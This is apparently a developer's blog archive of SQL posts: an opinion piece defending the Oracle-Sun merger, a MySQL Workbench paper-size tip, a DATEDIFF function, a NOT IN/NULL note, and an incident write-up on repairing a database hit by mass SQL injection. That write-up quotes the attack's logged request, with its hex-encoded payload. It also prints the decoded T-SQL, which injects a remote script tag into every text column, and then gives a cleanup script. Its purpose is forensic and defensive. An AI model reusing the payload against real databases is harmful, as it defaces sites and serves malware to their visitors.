Archive for the ‘SQL’ Category

Monty Widenius is trying to regain control of MySQL and why this is bad for OSS

Saturday, January 2nd, 2010

One of the most widely discussed topics to go around the tech industry last year was the Oracle acquisition of Sun and what this meant for the MySQL database. This topic held up the merger with the US DOJ and currently has it stalled in the EU commission.

One of the primary forces behind these hold ups is a series of FUD articles written by Monty Widenius, the most recent just a few days ago. Monty has a huge following so whenever he writes up one of these articles it gets huge circulation and riles up the Slashdot and LAMP crowds.

I think that the open source community should be very skeptical about anything written by Monty on this topic, and should start looking at the big picture of what this merger means for themselves and the various players involved.

I don’t know why I haven’t been seeing many serious rebuttals to Michael’s posts. I can only guess that is because everyone working at Sun and Oracle are prohibited from speaking up on the matter.

Here is what I think everyone should consider:

1. Sun is the largest contributor to Open Source in the world

2. Java, which sun is responsible for, one of the largest ecosystem of open source software in the world.

IBM, RedHat, the Apache Foundation, Oracle, Google, and hundreds of other companies have based themselves on Java. Java is by far the most used platform out there today. Out of this wide adoption has sprung a massive open source ecosystem that can only be rivaled by Linux. I don’t have any studies but I wouldn’t be surprised if there was much more open source Java code out there than C.

The Java community in my experience, by and large, is very reluctant to touch anything that is not open source. In the past 10 years the community has moved from expensive application servers and IDEs to free alternatives. Projects like JBoss, Glassfish, Tomcat, Eclipse, and Netbeans are the dominant players in the space and have been driving the mindset that to be a player in this market you have to be free.

3. Sun is in trouble and risks going out of business if no-one buys it. Talks with IBM broke down, and there aren’t many other companies that can make a purchase.

Not much else to say here. Oracle has been having some rough years. Hardware sales are down and they’ve been spending too much on R&D. Sun needs someone to buy them and buy them quickly. They have been actively been doing layoffs that affect all of their open source efforts (including MySQL) while this drags out. Further delays, or the blocking of this merger will only further harm the OSS Community.

4. Oracle already owns Berkely DB and InnoDB, which current versions of MySQL rely on.

This same sort of noise and FUD was made years ago when Oracle bought these two products. Oracle has continued to maintain these and has been a more stable steward of the projects than when they were independent.

5. It doesn’t make business sense for Oracle to try to kill MySQL.

First off – MySQL does not compete with Oracle Database. Anyone who thinks it does does not understand what Oracle Database is. People that use Oracle tend to buy the whole oracle package (DB, App Server, IDE, Middleware, etc..). There are free alternatives to everything in this stack, including many products owned by Oracle but companies that want Oracle are companies that want the piece of mind that support for the stack brings.

There are no CTOs out there hemming and hawing about wether to use MySQL or Oracle. It would be like sitting around and trying to decide if you were going to buy a Ford Focus or an M1 Abrams Tank. I’m not using this analogy to point out that Oracle has many more features (it does) or that it is better than MySQL, only that it is different. You would never buy the tank to commute to work or for most of your driving needs. The same is true with MySQL, it is perfect for most projects and Oracle tends to be a little too heavyweight.

Furthermore, for companies that do insist on purchasing the Oracle stack but want to use MySQL would now be able to buy the support stack with MySQL in it. Oracle can now sell the complete support package and their customers can feel good about getting everything from one vendor. Companies that buy Oracle are most likely the companies that would be paying for MySQL support as well. If a customer comes to oracle, what do they care which database the customer wants to use when they own both.

The last thing Oracle would want to do is alienate a large developer community. Changing anything about MySQL would hugely upset not just the LAMP and Java communities but just about everyone on the planet. This is just bad business.

6. All Oracle will own is a trademark and some engineers.

The source code for MySQL is already free. Anyone can fork it off and start another project and attempt to gain community support around their new project. The only thing they can’t do is call it MySQL. Monty has already started one such fork called MariaDB.

Open source projects are about the community rallying around ideas, not around companies. Monty argues that a forked product could never compete with MySQL without the name recognition. This isn’t true. If the community feels that Oracle is doing a bad job as a maintainer, but someone else is releasing new features on some other project, people will switch very quickly. We see this all the time in the Linux world with the community switching from one fork to another of a large project.

Monty says that forks can never happen because they would need funding and resources. What this argument ignores is that large companies with a lot invested in MySQL could step up if the project is faltering. If Oracle were to stop releasing updates, do you think Google is going to sit around and do nothing? The community would jump ship to GoogSQL or whatever if it came to that and was seen as a better product.

6. Monty Widenius has the most to gain from Oracle divesting in MySQL.

Like everything else in the world, when there is an argument, you need to step back and ask yourself who has the most to gain. Widenius sold MySQL for a hefty personal gain and is now trying to wrestle back control by spreading fear throughout the MySQL community.

Monty has been making noise since September 2008 (before the announced Oracle-Sun merger) and complaining about the direction of the project. He didn’t feel Sun was doing a good job and started immediately calling for forks and and a change of direction. The community heard Widenius out but didn’t build up a ton of support for his ideas, because by and large, most people are satisfied with the job Sun is doing.

Right before the Sun ownership, MySQL was in the process of rolling out a non-free enterprise edition and telling people that they would have to pay for new features. The company I was working for at the time had MySQL sales reps and consultants flat out tell us that we would need to purchase a support agreement if we wanted to use the Falcon Engine or clustering past v5.5. Sun put a stop to this.

In Summary

I am not under any illusions that an Oracle-Sun merger would be all sunshine and roses. I think that Sun has developed a culture and business model around everything being open and free and Oracle has not. Oracle will need to make some big changes about how it does business in order for the merger to work.

I would prefer if Sun could remain an independent company but we have to face facts, Sun is in trouble and there aren’t many other companies that can bail them out. If Sun is allowed to continue it’s downward spiral then we are facing a great loss to the open source community.

I am not worried about the Oracle stewardship of any of Sun’s open source products precisely because of the community support. Oracle can’t afford to make huge changes and alienate hundreds of thousands of developers who have some say in how much money their companies give to Oracle. Doing something like killing or even changing GlassFish, VirtualBox, ZFS, or any other OSS project could lead to less sales in it’s existing stack of software.

Howto add additional page sizes to MySQL Workbench

Thursday, October 2nd, 2008

I’ve been following the progress of the MySQL Workbench project for quite some time now ever since the discontinuation of DbDesigner4. For a while things appeared to be moving slowly and the early releases were painfully slow and hard to use, but with the most recent releases I feel that it is really ready for prime time. It isn’t quite as powerful as some other commercial tools I use, but it is free, quick, and does a great job for small databases.

One of the things that I am really liking about MySql Workbench the most is it’s solid design. I have been able to open up the source code and view a very nicely written application that very much appears to be designed for growth. Many of the key settings and customizations are even left out of the compiled code and read dynamically from XML files upon startup.

Recently I found that the tool didn’t support some standard page sizes I use for printing out diagrams — most notably (to me anyway), Arch-E, the standard page size of the printer at my local FedEx Kinkos.

After only a few minutes of poking around I found a file in the data directory called paper_types.xml that contained all of the paper sizes that the program would. A quick trip to Wikipedia and I was easily able to add my Arch-E paper type. After restarting the program I was easily to print directly to the printer as well as export to the correct size pdf.

Here’s the code to add to save you (and probably myself later) some time:
Add this to C:\Program Files\MySQL\MySQL Workbench 5.0 OSS\data\paper_types.xml

<value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archa">
      <value type="string" key="name">Arch-A</value>
      <value type="string" key="caption">Arch A (9 in x 12 in.)</value>
      <value type="real" key="width">228.6</value>
      <value type="real" key="height">304.8</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archb">
      <value type="string" key="name">Arch-B</value>
      <value type="string" key="caption">Arch B (12 in x 18 in.)</value>
      <value type="real" key="width">304.8</value>
      <value type="real" key="height">457.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archc">
      <value type="string" key="name">Arch-C</value>
      <value type="string" key="caption">Arch C (18 in x 24 in.)</value>
      <value type="real" key="width">457.2</value>
      <value type="real" key="height">609.6</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archd">
      <value type="string" key="name">Arch-D</value>
      <value type="string" key="caption">Arch D (24 in x 36 in.)</value>
      <value type="real" key="width">609.6</value>
      <value type="real" key="height">914.4</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche">
      <value type="string" key="name">Arch-E</value>
      <value type="string" key="caption">Arch E (36 in x 48 in.)</value>
      <value type="real" key="width">914.4</value>
      <value type="real" key="height">1219.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche1">
      <value type="string" key="name">Arch-E1</value>
      <value type="string" key="caption">Arch E1 (30 in x 42 in.)</value>
      <value type="real" key="width">762</value>
      <value type="real" key="height">1066.8</value>
    </value>

Using SQL Injection attack code to repair database

Thursday, September 25th, 2008

Now that Google has started flagging sites that are linking to badware in their index I’ve been getting quite a few calls from people who have been flagged and need to get back on track.

These are often sites that were written a while back (not by myself) when developers didn’t think as much about SQL injection as they do now. Sometimes the code was just poorly written by someone who didn’t know better. However it happened, each site has its own challenge.

Fixing the security hole is generally straight forward — I usually just have to identify where the SQL isn’t properly escaped and fix that code. The hard part I have had fixing these sites is fixing the database itself. Some clients have backups, and some I can fix with SQL Log Rescue, but generally a lot of small clients simply don’t have great control over their server and often don’t have any backups.

I had one such of these clients this week where their database had hundreds and hundreds of tables, all with malware code injected into the data. I was initially going to write a script to clean all the data, but after looking at the malware attack, I was able to use their own code to fix the database.

In the server log files. I noticed this request was coming in for every script several times a day. Looks like it just wanders the internet hoping that that id=2 in the query string won’t be escaped in the code.

GET script.asp?id=2 ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220%20AS%20CHAR(4000));EXEC(@S); 80 - 121.18.89.190 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) - - www.wirelust.com 200 0 0 14827 1516 9781

 

If the id isn’t escaped, as it wasn’t in this situation, a query like this will hit your SQL server:

SELECT *
FROM SomeTable
WHERE id=2;DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220 AS CHAR(4000));
EXEC(@S);

 

hmm. okay. so what is it executing as the value of @S?
If you change the statement from EXEC(@S) to PRINT(@S) you get this:
Warning: Do not run this on your server, it will mess up ALL of your data

DECLARE @T VARCHAR(255),@C VARCHAR(4000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
	EXEC('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''')
	FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

I thought this code was pretty clever. It selects a cursor that contains every varchar and text field in every table on the database, then loops over the cursor and issues an update command to append their bad script to the end of the data in each field.

Luckily, it is in their best interest to leave your data in place and just place their code at the end – it increases the chance you won’t know your site is infected.

Since all of the original data is still in the database, I was able to tweak their code a little bit to write a script to fix the data:

DECLARE @T VARCHAR(255), @C VARCHAR(4000), @SQL VARCHAR(5000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
	WHILE(@@FETCH_STATUS=0) 
	BEGIN 
		SET @SQL = 'update ['+@T+'] set ['+@C+']=Replace(['+@C+'], ''<script src="http://www.wirelust.com/baddies-script.js"></script>'', '''') where '+@C+' like ''%<script src="http://www.wirelust.com/baddies-script.js"></script>%'''
		PRINT @SQL
		-- exec(@SQL)
		FETCH NEXT FROM  Table_Cursor INTO @T,@C
	END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Human readable DATEDIFF function for SQL Server

Wednesday, September 24th, 2008

All the time, when I’m writing reports I need to display a ‘time elapsed’ metric in a short easy to read manor. Usually I do this with a simple convenience function in whatever language I am writing the GUI in. For reports that are purely in SQL, I have created just such a convenience function for SQL server: dateDiffHumanReadable( startDate, endDate, precision ).

This makes it easy to display date spans.

To see how old I currently am, I would call:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), DEFAULT)

This will return my current age:
30y 114d 38m 11s 620ms

This comes in handy when I have a log table with columns like this:

  • process
  • timeStart
  • timeEnd

Just using DATEDIFF I would have to do this:

SELECT process,
	CASE WHEN timeStart IS NOT NULL AND timeEnd IS NOT NULL THEN
		DATEDIFF(s, timeStart, timeEnd)
	ELSE
		''
	END AS [seconds]
FROM logTable

With this function, I can get more informational results just doing this:

SELECT process, dbo.dateDiffHumanReadable(timeStart, timeEnd, DEFAULT)
FROM logTable

The third parameter is a precision value for when you don’t need right down to the millisecond returned. Calling this:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), 'y')

This will return just the year of my current age:
30y

Full code

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		T. Curran
-- Create date: 3/20/2008
-- Date modified: 3/12/2009
-- Description:	Generates a human readable difference between two dates, in the form '1y 5d 3h 2m 6s 10ms'
-- =============================================
DROP FUNCTION [dbo].[dateDiffHumanReadable]
GO
CREATE FUNCTION [dbo].[dateDiffHumanReadable]
(
		@dateStart DATETIME,
		@dateEnd DATETIME,
		@PRECISION VARCHAR(2) = 'ms'
)
RETURNS VARCHAR(200)
AS
BEGIN
	DECLARE @diffAsString VARCHAR(200),
		@dateScratch DATETIME,
		@years INT,
		@days INT,
		@hours INT,
		@minutes INT,
		@seconds INT,
		@milliseconds INT
 
	SET @diffAsString = ''
	IF (@dateStart IS NULL OR @dateEnd IS NULL) BEGIN
		RETURN @diffAsString
	END
 
	SET @years = 0
	SET @days = 0
	SET @hours = 0
	SET @minutes = 0
	SET @seconds = 0
	SET @milliseconds = 0
 
	-- @dateScratch is used as a holding place for us to increment the date so we don't alter @dateStart
	SET @dateScratch = @dateStart
 
	-- years
	SET @years = DATEDIFF(yy, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(yy, @years, @dateScratch)
 
	-- days
	SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
	IF (@days < 0) BEGIN
		IF (@years > 0) BEGIN
			SET @years = @years -1
			SET @dateScratch = DATEADD(yy, -1, @dateScratch)
			SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
		END
	END
	SET @dateScratch = DATEADD(d, @days, @dateScratch)
 
	-- milliseconds
	SET @milliseconds = DATEDIFF(ms, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(ms, @milliseconds, @dateScratch)
 
	IF (@milliseconds > 999) BEGIN
		SET @seconds = @milliseconds / 1000
		SET @milliseconds = @milliseconds - (@seconds * 1000)
 
		-- seconds  
		IF (@seconds > 59) BEGIN  
			SET @minutes = @seconds / 60  
			SET @seconds = @seconds - (@minutes * 60)  
 
			-- minutes  
			IF @minutes > 59 BEGIN  
				SET @hours = @minutes / 60  
				SET @minutes = @minutes - (@hours * 60)  
			END  
		END  
	END
 
	-- Build the output string based on the precision
 
	-- years
	IF (@PRECISION = 'y' OR @PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@years > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@years AS VARCHAR(10)) +  'y '
		END
	END
 
	-- days
	IF (@PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@days > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@days AS VARCHAR(10)) +  'd '
		END
	END
 
	-- hours
	IF (@PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@hours > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@hours AS VARCHAR(10)) +  'h '
		END
	END
 
	-- minutes
	IF (@PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@minutes > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@minutes AS VARCHAR(10)) +  'm '
		END
	END
 
	-- seconds
	IF (@PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@seconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@seconds AS VARCHAR(10)) +  's '
		END
	END
 
	-- milliseconds
	IF (@PRECISION = 'ms') BEGIN
		IF (@milliseconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@milliseconds AS VARCHAR(10)) +  'ms '
		END
	END
 
	-- the above string concat always ends with a space, if the space is there at the end remove it
	IF (LEN(@diffAsString) > 0) BEGIN
		IF (RIGHT(@diffAsString, 1) = '') BEGIN
			SET @diffAsString = LEFT(@diffAsString, LEN(@diffAsString))
		END
	END
 
	RETURN @diffAsString
END
GO

UPDATE:
Adam correctly pointed out that my function didn’t work when the time span was less than 1 day because:
SELECT DATEDIFF(dd, ’11:50:48.000′, ’12:12:45.000′)
Will return 1 rather than 0.

I have updated the function to use DATEDIFF to calculate the year, then use a ‘ms’ calculation to count up for the other values.

SQL NOT IN SubQuery + Null

Friday, January 4th, 2008

This is something that wasn’t apparent to me for quite a while and seems to trip me up every now and again.

Say you have two tables. ‘Employees’ and ‘Payroll’.

Employees

column type
username varchar(200)
email varchar(200)

Payroll

column type
username varchar(200)
paid datetime
amount money

Not great tables, but they will get the point across.

If you wanted to select all employees who have never been paid, you would normally do a query like this:

SELECT *
FROM Employees
WHERE username NOT IN (
	SELECT username
	FROM Payroll
)

What trips up this query is if there is a NULL username in Payroll, it will never return any results. In order to make it work, you have to select all the NON NULL usernames from Payroll.

SELECT *
FROM Employees
WHERE username NOT IN (
	SELECT username
	FROM Payroll
	WHERE username IS NOT NULL
)

This behavior seems to be consistent in MySQL 5 and SQL Server 2005, I haven’t tested in Oracle.